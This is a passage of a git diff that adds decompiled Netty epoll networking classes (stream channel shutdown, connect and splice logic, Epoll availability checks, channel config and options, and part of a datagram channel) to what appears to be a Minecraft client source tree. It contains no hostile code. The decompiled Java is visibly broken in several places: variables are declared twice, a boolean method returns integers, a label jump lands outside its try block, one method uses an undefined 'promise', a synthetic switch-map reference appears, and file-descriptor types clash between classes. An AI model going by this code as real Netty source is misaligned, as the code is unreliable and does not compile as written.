+        shutdownOutput0(promise);
+      } else {
+        loop.execute(new Runnable()
+        {
+          public void run() {
+            AbstractEpollStreamChannel.this.shutdownOutput0(promise);
+          }
+        });
+      }
+    }
+    return promise;
+  }
+  
+  public ChannelFuture shutdownInput()
+  {
+    return shutdownInput(newPromise());
+  }
+  
+  public ChannelFuture shutdownInput(final ChannelPromise promise)
+  {
+    Executor closeExecutor = ((EpollStreamUnsafe)unsafe()).prepareToClose();
+    if (closeExecutor != null) {
+      closeExecutor.execute(new Runnable()
+      {
+        public void run() {
+          AbstractEpollStreamChannel.this.shutdownInput0(promise);
+        }
+      });
+    } else {
+      EventLoop loop = eventLoop();
+      if (loop.inEventLoop()) {
+        shutdownInput0(promise);
+      } else {
+        loop.execute(new Runnable()
+        {
+          public void run() {
+            AbstractEpollStreamChannel.this.shutdownInput0(promise);
+          }
+        });
+      }
+    }
+    return promise;
+  }
+  
+  public ChannelFuture shutdown()
+  {
+    return shutdown(newPromise());
+  }
+  
+  public ChannelFuture shutdown(final ChannelPromise promise)
+  {
+    Executor closeExecutor = ((EpollStreamUnsafe)unsafe()).prepareToClose();
+    if (closeExecutor != null) {
+      closeExecutor.execute(new Runnable()
+      {
+        public void run() {
+          AbstractEpollStreamChannel.this.shutdown0(promise);
+        }
+      });
+    } else {
+      EventLoop loop = eventLoop();
+      if (loop.inEventLoop()) {
+        shutdown0(promise);
+      } else {
+        loop.execute(new Runnable()
+        {
+          public void run() {
+            AbstractEpollStreamChannel.this.shutdown0(promise);
+          }
+        });
+      }
+    }
+    return promise;
+  }
+  
+  protected void doClose() throws Exception
+  {
+    try {
+      ChannelPromise promise = connectPromise;
+      if (promise != null)
+      {
+        promise.tryFailure(DO_CLOSE_CLOSED_CHANNEL_EXCEPTION);
+        connectPromise = null;
+      }
+      
+      ScheduledFuture<?> future = connectTimeoutFuture;
+      if (future != null) {
+        future.cancel(false);
+        connectTimeoutFuture = null;
+      }
+      
+      super.doClose();
+    } finally {
+      safeClosePipe(pipeIn);
+      safeClosePipe(pipeOut);
+      clearSpliceQueue();
+    }
+  }
+  
+  private void clearSpliceQueue() {
+    if (spliceQueue == null) {
+      return;
+    }
+    for (;;) {
+      SpliceInTask task = (SpliceInTask)spliceQueue.poll();
+      if (task == null) {
+        break;
+      }
+      promise.tryFailure(CLEAR_SPLICE_QUEUE_CLOSED_CHANNEL_EXCEPTION);
+    }
+  }
+  
+
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    if (localAddress != null) {
+      fd().bind(localAddress);
+    }
+    
+    boolean success = false;
+    try {
+      boolean connected = fd().connect(remoteAddress);
+      if (!connected) {
+        setFlag(Native.EPOLLOUT);
+      }
+      success = true;
+      return connected;
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  private static void safeClosePipe(FileDescriptor fd) {
+    if (fd != null)
+      try {
+        fd.close();
+      } catch (IOException e) {
+        if (logger.isWarnEnabled())
+          logger.warn("Error while closing a pipe", e);
+      }
+  }
+  
+  class EpollStreamUnsafe extends AbstractEpollChannel.AbstractEpollUnsafe {
+    EpollStreamUnsafe() {
+      super();
+    }
+    
+    protected Executor prepareToClose()
+    {
+      return super.prepareToClose();
+    }
+    
+    private void handleReadException(ChannelPipeline pipeline, ByteBuf byteBuf, Throwable cause, boolean close, EpollRecvByteAllocatorHandle allocHandle)
+    {
+      if (byteBuf != null) {
+        if (byteBuf.isReadable()) {
+          readPending = false;
+          pipeline.fireChannelRead(byteBuf);
+        } else {
+          byteBuf.release();
+        }
+      }
+      allocHandle.readComplete();
+      pipeline.fireChannelReadComplete();
+      pipeline.fireExceptionCaught(cause);
+      if ((close) || ((cause instanceof IOException))) {
+        shutdownInput();
+      }
+    }
+    
+
+    public void connect(final SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    {
+      if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+        return;
+      }
+      try
+      {
+        if (connectPromise != null) {
+          throw new ConnectionPendingException();
+        }
+        
+        boolean wasActive = isActive();
+        if (doConnect(remoteAddress, localAddress)) {
+          fulfillConnectPromise(promise, wasActive);
+        } else {
+          connectPromise = promise;
+          requestedRemoteAddress = remoteAddress;
+          
+
+          int connectTimeoutMillis = config().getConnectTimeoutMillis();
+          if (connectTimeoutMillis > 0) {
+            connectTimeoutFuture = eventLoop().schedule(new Runnable()
+            {
+              public void run() {
+                ChannelPromise connectPromise = AbstractEpollStreamChannel.this.connectPromise;
+                ConnectTimeoutException cause = new ConnectTimeoutException("connection timed out: " + remoteAddress);
+                
+                if ((connectPromise != null) && (connectPromise.tryFailure(cause)))
+                  close(voidPromise()); } }, connectTimeoutMillis, TimeUnit.MILLISECONDS);
+          }
+          
+
+
+
+          promise.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              if (future.isCancelled()) {
+                if (connectTimeoutFuture != null) {
+                  connectTimeoutFuture.cancel(false);
+                }
+                connectPromise = null;
+                close(voidPromise());
+              }
+            }
+          });
+        }
+      } catch (Throwable t) {
+        closeIfClosed();
+        promise.tryFailure(annotateConnectException(t, remoteAddress));
+      }
+    }
+    
+    private void fulfillConnectPromise(ChannelPromise promise, boolean wasActive) {
+      if (promise == null)
+      {
+        return;
+      }
+      AbstractEpollStreamChannel.this.active = true;
+      
+
+
+      boolean active = isActive();
+      
+
+      boolean promiseSet = promise.trySuccess();
+      
+
+
+      if ((!wasActive) && (active)) {
+        pipeline().fireChannelActive();
+      }
+      
+
+      if (!promiseSet) {
+        close(voidPromise());
+      }
+    }
+    
+    private void fulfillConnectPromise(ChannelPromise promise, Throwable cause) {
+      if (promise == null)
+      {
+        return;
+      }
+      
+
+      promise.tryFailure(cause);
+      closeIfClosed();
+    }
+    
+
+
+    private void finishConnect()
+    {
+      assert (eventLoop().inEventLoop());
+      
+      boolean connectStillInProgress = false;
+      try {
+        boolean wasActive = isActive();
+        if (!doFinishConnect()) {
+          connectStillInProgress = true;
+        }
+        else
+          fulfillConnectPromise(connectPromise, wasActive);
+      } catch (Throwable t) {
+        fulfillConnectPromise(connectPromise, annotateConnectException(t, requestedRemoteAddress));
+      } finally {
+        if (!connectStillInProgress)
+        {
+
+          if (connectTimeoutFuture != null) {
+            connectTimeoutFuture.cancel(false);
+          }
+          connectPromise = null;
+        }
+      }
+    }
+    
+    void epollOutReady()
+    {
+      if (connectPromise != null)
+      {
+        finishConnect();
+      } else {
+        super.epollOutReady();
+      }
+    }
+    
+
+    boolean doFinishConnect()
+      throws Exception
+    {
+      if (fd().finishConnect()) {
+        clearFlag(Native.EPOLLOUT);
+        return true;
+      }
+      setFlag(Native.EPOLLOUT);
+      return false;
+    }
+    
+
+    EpollRecvByteAllocatorHandle newEpollHandle(RecvByteBufAllocator.Handle handle)
+    {
+      return new EpollRecvByteAllocatorStreamingHandle(handle, config());
+    }
+    
+    void epollInReady()
+    {
+      if (fd().isInputShutdown()) {
+        clearEpollIn0();
+        return;
+      }
+      ChannelConfig config = config();
+      EpollRecvByteAllocatorHandle allocHandle = recvBufAllocHandle();
+      allocHandle.edgeTriggered(isFlagSet(Native.EPOLLET));
+      
+      ChannelPipeline pipeline = pipeline();
+      ByteBufAllocator allocator = config.getAllocator();
+      allocHandle.reset(config);
+      epollInBefore();
+      
+      ByteBuf byteBuf = null;
+      boolean close = false;
+      try {
+        do {
+          if (spliceQueue != null) {
+            AbstractEpollStreamChannel.SpliceInTask spliceTask = (AbstractEpollStreamChannel.SpliceInTask)spliceQueue.peek();
+            if (spliceTask != null) {
+              if (!spliceTask.spliceIn(allocHandle)) {
+                break;
+              }
+              if (!isActive()) continue;
+              spliceQueue.remove(); continue;
+            }
+          }
+          
+
+
+
+
+
+
+
+          byteBuf = allocHandle.allocate(allocator);
+          allocHandle.lastBytesRead(doReadBytes(byteBuf));
+          if (allocHandle.lastBytesRead() <= 0)
+          {
+            byteBuf.release();
+            byteBuf = null;
+            close = allocHandle.lastBytesRead() < 0;
+          }
+          else {
+            allocHandle.incMessagesRead(1);
+            readPending = false;
+            pipeline.fireChannelRead(byteBuf);
+            byteBuf = null;
+            
+            if (fd().isInputShutdown())
+            {
+
+              break;
+
+
+            }
+            
+
+
+          }
+          
+
+        }
+        while (allocHandle.continueReading());
+        
+        allocHandle.readComplete();
+        pipeline.fireChannelReadComplete();
+        
+        if (close) {
+          shutdownInput();
+        }
+      } catch (Throwable t) {
+        handleReadException(pipeline, byteBuf, t, close, allocHandle);
+      } finally {
+        epollInFinally(config);
+      }
+    }
+  }
+  
+  private void addToSpliceQueue(final SpliceInTask task) {
+    EventLoop eventLoop = eventLoop();
+    if (eventLoop.inEventLoop()) {
+      addToSpliceQueue0(task);
+    } else {
+      eventLoop.execute(new Runnable()
+      {
+        public void run() {
+          AbstractEpollStreamChannel.this.addToSpliceQueue0(task);
+        }
+      });
+    }
+  }
+  
+  private void addToSpliceQueue0(SpliceInTask task) {
+    if (spliceQueue == null) {
+      spliceQueue = PlatformDependent.newMpscQueue();
+    }
+    spliceQueue.add(task);
+  }
+  
+  protected abstract class SpliceInTask {
+    final ChannelPromise promise;
+    int len;
+    
+    protected SpliceInTask(int len, ChannelPromise promise) {
+      this.promise = promise;
+      this.len = len;
+    }
+    
+    abstract boolean spliceIn(RecvByteBufAllocator.Handle paramHandle);
+    
+    protected final int spliceIn(FileDescriptor pipeOut, RecvByteBufAllocator.Handle handle) throws IOException
+    {
+      int length = Math.min(handle.guess(), len);
+      int splicedIn = 0;
+      for (;;)
+      {
+        int localSplicedIn = Native.splice(fd().intValue(), -1L, pipeOut.intValue(), -1L, length);
+        if (localSplicedIn == 0) {
+          break;
+        }
+        splicedIn += localSplicedIn;
+        length -= localSplicedIn;
+      }
+      
+      return splicedIn;
+    }
+  }
+  
+  private final class SpliceInChannelTask extends AbstractEpollStreamChannel.SpliceInTask implements ChannelFutureListener
+  {
+    private final AbstractEpollStreamChannel ch;
+    
+    SpliceInChannelTask(AbstractEpollStreamChannel ch, int len, ChannelPromise promise) {
+      super(len, promise);
+      this.ch = ch;
+    }
+    
+    public void operationComplete(ChannelFuture future) throws Exception
+    {
+      if (!future.isSuccess()) {
+        promise.setFailure(future.cause());
+      }
+    }
+    
+    public boolean spliceIn(RecvByteBufAllocator.Handle handle)
+    {
+      assert (ch.eventLoop().inEventLoop());
+      if (len == 0) {
+        promise.setSuccess();
+        return true;
+      }
+      
+
+      try
+      {
+        FileDescriptor pipeOut = ch.pipeOut;
+        if (pipeOut == null)
+        {
+          FileDescriptor[] pipe = FileDescriptor.pipe();
+          ch.pipeIn = pipe[0];
+          pipeOut = ch.pipeOut = pipe[1];
+        }
+        
+        int splicedIn = spliceIn(pipeOut, handle);
+        if (splicedIn > 0)
+        {
+          if (len != Integer.MAX_VALUE) {
+            len -= splicedIn;
+          }
+          
+          ChannelPromise splicePromise;
+          
+          ChannelPromise splicePromise;
+          if (len == 0) {
+            splicePromise = promise;
+          } else {
+            splicePromise = ch.newPromise().addListener(this);
+          }
+          
+          boolean autoRead = config().isAutoRead();
+          
+
+
+          ch.unsafe().write(new AbstractEpollStreamChannel.SpliceOutTask(AbstractEpollStreamChannel.this, ch, splicedIn, autoRead), splicePromise);
+          ch.unsafe().flush();
+          if ((autoRead) && (!splicePromise.isDone()))
+          {
+
+
+
+            config().setAutoRead(false);
+          }
+        }
+        
+        return len == 0;
+      } catch (Throwable cause) {
+        promise.setFailure(cause); }
+      return true;
+    }
+  }
+  
+  private final class SpliceOutTask
+  {
+    private final AbstractEpollStreamChannel ch;
+    private final boolean autoRead;
+    private int len;
+    
+    SpliceOutTask(AbstractEpollStreamChannel ch, int len, boolean autoRead) {
+      this.ch = ch;
+      this.len = len;
+      this.autoRead = autoRead;
+    }
+    
+    public boolean spliceOut() throws Exception {
+      assert (ch.eventLoop().inEventLoop());
+      try {
+        int splicedOut = Native.splice(ch.pipeIn.intValue(), -1L, ch.fd().intValue(), -1L, len);
+        len -= splicedOut;
+        if (len == 0) {
+          if (autoRead)
+          {
+            config().setAutoRead(true);
+          }
+          return true;
+        }
+        return false;
+      } catch (IOException e) {
+        if (autoRead)
+        {
+          config().setAutoRead(true);
+        }
+        throw e;
+      }
+    }
+  }
+  
+  private final class SpliceFdTask extends AbstractEpollStreamChannel.SpliceInTask {
+    private final FileDescriptor fd;
+    private final ChannelPromise promise;
+    private final int offset;
+    
+    SpliceFdTask(FileDescriptor fd, int offset, int len, ChannelPromise promise) {
+      super(len, promise);
+      this.fd = fd;
+      this.promise = promise;
+      this.offset = offset;
+    }
+    
+    public boolean spliceIn(RecvByteBufAllocator.Handle handle)
+    {
+      assert (eventLoop().inEventLoop());
+      if (len == 0) {
+        promise.setSuccess();
+        return true;
+      }
+      try
+      {
+        FileDescriptor[] pipe = FileDescriptor.pipe();
+        FileDescriptor pipeIn = pipe[0];
+        FileDescriptor pipeOut = pipe[1];
+        try {
+          int splicedIn = spliceIn(pipeOut, handle);
+          int splicedOut; if (splicedIn > 0)
+          {
+            if (len != Integer.MAX_VALUE) {
+              len -= splicedIn;
+            }
+            do {
+              splicedOut = Native.splice(pipeIn.intValue(), -1L, fd.intValue(), offset, splicedIn);
+              splicedIn -= splicedOut;
+            } while (splicedIn > 0);
+            if (len == 0) {
+              promise.setSuccess();
+              return 1;
+            }
+          }
+          return 0;
+        } finally {
+          AbstractEpollStreamChannel.safeClosePipe(pipeIn);
+          AbstractEpollStreamChannel.safeClosePipe(pipeOut);
+        }
+        
+
+        return true;
+      }
+      catch (Throwable cause)
+      {
+        promise.setFailure(cause);
+      }
+    }
+  }
+  
+  private final class SocketWritableByteChannel implements WritableByteChannel
+  {
+    private SocketWritableByteChannel() {}
+    
+    public int write(ByteBuffer src) throws IOException
+    {
+      int position = src.position();
+      int limit = src.limit();
+      int written; if (src.isDirect()) {
+        written = fd().write(src, position, src.limit());
+      } else {
+        int readableBytes = limit - position;
+        ByteBuf buffer = null;
+        try {
+          if (readableBytes == 0) {
+            buffer = Unpooled.EMPTY_BUFFER;
+          } else {
+            ByteBufAllocator alloc = alloc();
+            if (alloc.isDirectBufferPooled()) {
+              buffer = alloc.directBuffer(readableBytes);
+            } else {
+              buffer = ByteBufUtil.threadLocalDirectBuffer();
+              if (buffer == null) {
+                buffer = Unpooled.directBuffer(readableBytes);
+              }
+            }
+          }
+          buffer.writeBytes(src.duplicate());
+          ByteBuffer nioBuffer = buffer.internalNioBuffer(buffer.readerIndex(), readableBytes);
+          written = fd().write(nioBuffer, nioBuffer.position(), nioBuffer.limit());
+        } finally { int written;
+          if (buffer != null)
+            buffer.release();
+        }
+      }
+      int written;
+      if (written > 0) {
+        src.position(position + written);
+      }
+      return written;
+    }
+    
+    public boolean isOpen()
+    {
+      return fd().isOpen();
+    }
+    
+    public void close() throws IOException
+    {
+      fd().close();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/Epoll.java b/src/minecraft/io/netty/channel/epoll/Epoll.java
new file mode 100644
index 0000000..17b4576
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/Epoll.java
@@ -0,0 +1,114 @@
+package io.netty.channel.epoll;
+
+
+
+
+
+
+
+
+
+
+public final class Epoll
+{
+  private static final Throwable UNAVAILABILITY_CAUSE;
+  
+
+
+
+
+
+
+
+
+  static
+  {
+    Throwable cause = null;
+    int epollFd = -1;
+    int eventFd = -1;
+    try {
+      epollFd = Native.epollCreate();
+      eventFd = Native.eventFd();
+      
+
+
+      if (epollFd != -1) {
+        try {
+          Native.close(epollFd);
+        }
+        catch (Exception ignore) {}
+      }
+      
+      if (eventFd != -1) {
+        try {
+          Native.close(eventFd);
+        }
+        catch (Exception ignore) {}
+      }
+      
+
+
+      if (cause == null) {
+        break label119;
+      }
+    }
+    catch (Throwable t)
+    {
+      cause = t;
+    } finally {
+      if (epollFd != -1) {
+        try {
+          Native.close(epollFd);
+        }
+        catch (Exception ignore) {}
+      }
+      
+      if (eventFd != -1) {
+        try {
+          Native.close(eventFd);
+        }
+        catch (Exception ignore) {}
+      }
+    }
+    
+
+
+    UNAVAILABILITY_CAUSE = cause; return;
+    label119:
+    UNAVAILABILITY_CAUSE = null;
+  }
+  
+
+
+
+
+  public static boolean isAvailable()
+  {
+    return UNAVAILABILITY_CAUSE == null;
+  }
+  
+
+
+
+
+
+  public static void ensureAvailability()
+  {
+    if (UNAVAILABILITY_CAUSE != null) {
+      throw ((Error)new UnsatisfiedLinkError("failed to load the required native library").initCause(UNAVAILABILITY_CAUSE));
+    }
+  }
+  
+
+
+
+
+
+
+  public static Throwable unavailabilityCause()
+  {
+    return UNAVAILABILITY_CAUSE;
+  }
+  
+  private Epoll() {}
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollChannelConfig.java b/src/minecraft/io/netty/channel/epoll/EpollChannelConfig.java
new file mode 100644
index 0000000..947adb6
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollChannelConfig.java
@@ -0,0 +1,177 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.WriteBufferWaterMark;
+import java.io.IOException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EpollChannelConfig
+  extends DefaultChannelConfig
+{
+  final AbstractEpollChannel channel;
+  
+  EpollChannelConfig(AbstractEpollChannel channel)
+  {
+    super(channel);
+    this.channel = channel;
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { EpollChannelOption.EPOLL_MODE });
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == EpollChannelOption.EPOLL_MODE) {
+      return getEpollMode();
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    if (option == EpollChannelOption.EPOLL_MODE) {
+      setEpollMode((EpollMode)value);
+    } else {
+      return super.setOption(option, value);
+    }
+    return true;
+  }
+  
+  public EpollChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public EpollChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public EpollChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public EpollChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public EpollChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public EpollChannelConfig setWriteBufferWaterMark(WriteBufferWaterMark writeBufferWaterMark)
+  {
+    super.setWriteBufferWaterMark(writeBufferWaterMark);
+    return this;
+  }
+  
+  public EpollChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+  
+
+
+
+
+
+  public EpollMode getEpollMode()
+  {
+    return channel.isFlagSet(Native.EPOLLET) ? EpollMode.EDGE_TRIGGERED : EpollMode.LEVEL_TRIGGERED;
+  }
+  
+
+
+
+
+
+
+
+
+  public EpollChannelConfig setEpollMode(EpollMode mode)
+  {
+    if (mode == null) {
+      throw new NullPointerException("mode");
+    }
+    try {
+      switch (1.$SwitchMap$io$netty$channel$epoll$EpollMode[mode.ordinal()]) {
+      case 1: 
+        checkChannelNotRegistered();
+        channel.setFlag(Native.EPOLLET);
+        break;
+      case 2: 
+        checkChannelNotRegistered();
+        channel.clearFlag(Native.EPOLLET);
+        break;
+      default: 
+        throw new Error();
+      }
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  private void checkChannelNotRegistered() {
+    if (channel.isRegistered()) {
+      throw new IllegalStateException("EpollMode can only be changed before channel is registered");
+    }
+  }
+  
+  protected final void autoReadCleared()
+  {
+    channel.clearEpollIn();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollChannelOption.java b/src/minecraft/io/netty/channel/epoll/EpollChannelOption.java
new file mode 100644
index 0000000..9f2ca23
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollChannelOption.java
@@ -0,0 +1,33 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.ChannelOption;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollChannelOption<T>
+  extends ChannelOption<T>
+{
+  public static final ChannelOption<Boolean> TCP_CORK = valueOf("TCP_CORK");
+  public static final ChannelOption<Integer> TCP_KEEPIDLE = valueOf("TCP_KEEPIDLE");
+  public static final ChannelOption<Integer> TCP_KEEPINTVL = valueOf("TCP_KEEPINTVL");
+  public static final ChannelOption<Integer> TCP_KEEPCNT = valueOf("TCP_KEEPCNT");
+  
+  public static final ChannelOption<Boolean> SO_REUSEPORT = valueOf("SO_REUSEPORT");
+  
+  private EpollChannelOption(String name)
+  {
+    super(name);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollDatagramChannel.java b/src/minecraft/io/netty/channel/epoll/EpollDatagramChannel.java
new file mode 100644
index 0000000..f763a16
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollDatagramChannel.java
@@ -0,0 +1,512 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultAddressedEnvelope;
+import io.netty.channel.EventLoop;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.channel.socket.DatagramChannelConfig;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.NetworkInterface;
+import java.net.SocketAddress;
+import java.net.SocketException;
+import java.nio.ByteBuffer;
+import java.nio.channels.NotYetConnectedException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollDatagramChannel
+  extends AbstractEpollChannel
+  implements DatagramChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(true);
+  private static final String EXPECTED_TYPES = " (expected: " + StringUtil.simpleClassName(DatagramPacket.class) + ", " + StringUtil.simpleClassName(AddressedEnvelope.class) + '<' + StringUtil.simpleClassName(ByteBuf.class) + ", " + StringUtil.simpleClassName(InetSocketAddress.class) + ">, " + StringUtil.simpleClassName(ByteBuf.class) + ')';
+  
+  private volatile InetSocketAddress local;
+  
+  private volatile InetSocketAddress remote;
+  
+  private volatile boolean connected;
+  
+  private final EpollDatagramChannelConfig config;
+  
+
+  public EpollDatagramChannel()
+  {
+    super(Native.socketDgramFd(), 1);
+    config = new EpollDatagramChannelConfig(this);
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+
+  public boolean isActive()
+  {
+    return (fd != -1) && (((((Boolean)config.getOption(ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION)).booleanValue()) && (isRegistered())) || (active));
+  }
+  
+
+
+  public boolean isConnected()
+  {
+    return connected;
+  }
+  
+  public ChannelFuture joinGroup(InetAddress multicastAddress)
+  {
+    return joinGroup(multicastAddress, newPromise());
+  }
+  
+  public ChannelFuture joinGroup(InetAddress multicastAddress, ChannelPromise promise)
+  {
+    try {
+      return joinGroup(multicastAddress, NetworkInterface.getByInetAddress(localAddress().getAddress()), null, promise);
+
+    }
+    catch (SocketException e)
+    {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture joinGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface)
+  {
+    return joinGroup(multicastAddress, networkInterface, newPromise());
+  }
+  
+
+
+  public ChannelFuture joinGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface, ChannelPromise promise)
+  {
+    return joinGroup(multicastAddress.getAddress(), networkInterface, null, promise);
+  }
+  
+
+  public ChannelFuture joinGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source)
+  {
+    return joinGroup(multicastAddress, networkInterface, source, newPromise());
+  }
+  
+
+
+
+  public ChannelFuture joinGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source, ChannelPromise promise)
+  {
+    if (multicastAddress == null) {
+      throw new NullPointerException("multicastAddress");
+    }
+    
+    if (networkInterface == null) {
+      throw new NullPointerException("networkInterface");
+    }
+    
+    promise.setFailure(new UnsupportedOperationException("Multicast not supported"));
+    return promise;
+  }
+  
+  public ChannelFuture leaveGroup(InetAddress multicastAddress)
+  {
+    return leaveGroup(multicastAddress, newPromise());
+  }
+  
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, ChannelPromise promise)
+  {
+    try {
+      return leaveGroup(multicastAddress, NetworkInterface.getByInetAddress(localAddress().getAddress()), null, promise);
+    }
+    catch (SocketException e) {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture leaveGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface)
+  {
+    return leaveGroup(multicastAddress, networkInterface, newPromise());
+  }
+  
+
+
+  public ChannelFuture leaveGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface, ChannelPromise promise)
+  {
+    return leaveGroup(multicastAddress.getAddress(), networkInterface, null, promise);
+  }
+  
+
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source)
+  {
+    return leaveGroup(multicastAddress, networkInterface, source, newPromise());
+  }
+  
+
+
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source, ChannelPromise promise)
+  {
+    if (multicastAddress == null) {
+      throw new NullPointerException("multicastAddress");
+    }
+    if (networkInterface == null) {
+      throw new NullPointerException("networkInterface");
+    }
+    
+    promise.setFailure(new UnsupportedOperationException("Multicast not supported"));
+    
+    return promise;
+  }
+  
+
+
+  public ChannelFuture block(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress sourceToBlock)
+  {
+    return block(multicastAddress, networkInterface, sourceToBlock, newPromise());
+  }
+  
+
+
+  public ChannelFuture block(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress sourceToBlock, ChannelPromise promise)
+  {
+    if (multicastAddress == null) {
+      throw new NullPointerException("multicastAddress");
+    }
+    if (sourceToBlock == null) {
+      throw new NullPointerException("sourceToBlock");
+    }
+    
+    if (networkInterface == null) {
+      throw new NullPointerException("networkInterface");
+    }
+    promise.setFailure(new UnsupportedOperationException("Multicast not supported"));
+    return promise;
+  }
+  
+  public ChannelFuture block(InetAddress multicastAddress, InetAddress sourceToBlock)
+  {
+    return block(multicastAddress, sourceToBlock, newPromise());
+  }
+  
+  public ChannelFuture block(InetAddress multicastAddress, InetAddress sourceToBlock, ChannelPromise promise)
+  {
+    try
+    {
+      return block(multicastAddress, NetworkInterface.getByInetAddress(localAddress().getAddress()), sourceToBlock, promise);
+
+    }
+    catch (Throwable e)
+    {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+  protected AbstractEpollChannel.AbstractEpollUnsafe newUnsafe()
+  {
+    return new EpollDatagramChannelUnsafe();
+  }
+  
+  protected InetSocketAddress localAddress0()
+  {
+    return local;
+  }
+  
+  protected InetSocketAddress remoteAddress0()
+  {
+    return remote;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    InetSocketAddress addr = (InetSocketAddress)localAddress;
+    checkResolvable(addr);
+    Native.bind(fd, addr.getAddress(), addr.getPort());
+    local = Native.localAddress(fd);
+    active = true;
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    for (;;) {
+      Object msg = in.current();
+      if (msg == null)
+      {
+        clearEpollOut();
+        break;
+      }
+      try
+      {
+        boolean done = false;
+        for (int i = config().getWriteSpinCount() - 1; i >= 0; i--) {
+          if (doWriteMessage(msg)) {
+            done = true;
+            break;
+          }
+        }
+        
+        if (done) {
+          in.remove();
+        }
+        else {
+          setEpollOut();
+          break;
+        }
+        
+      }
+      catch (IOException e)
+      {
+        in.remove(e);
+      }
+    }
+  }
+  
+  private boolean doWriteMessage(Object msg) throws IOException { InetSocketAddress remoteAddress;
+    ByteBuf data;
+    InetSocketAddress remoteAddress;
+    if ((msg instanceof AddressedEnvelope))
+    {
+      AddressedEnvelope<ByteBuf, InetSocketAddress> envelope = (AddressedEnvelope)msg;
+      
+      ByteBuf data = (ByteBuf)envelope.content();
+      remoteAddress = (InetSocketAddress)envelope.recipient();
+    } else {
+      data = (ByteBuf)msg;
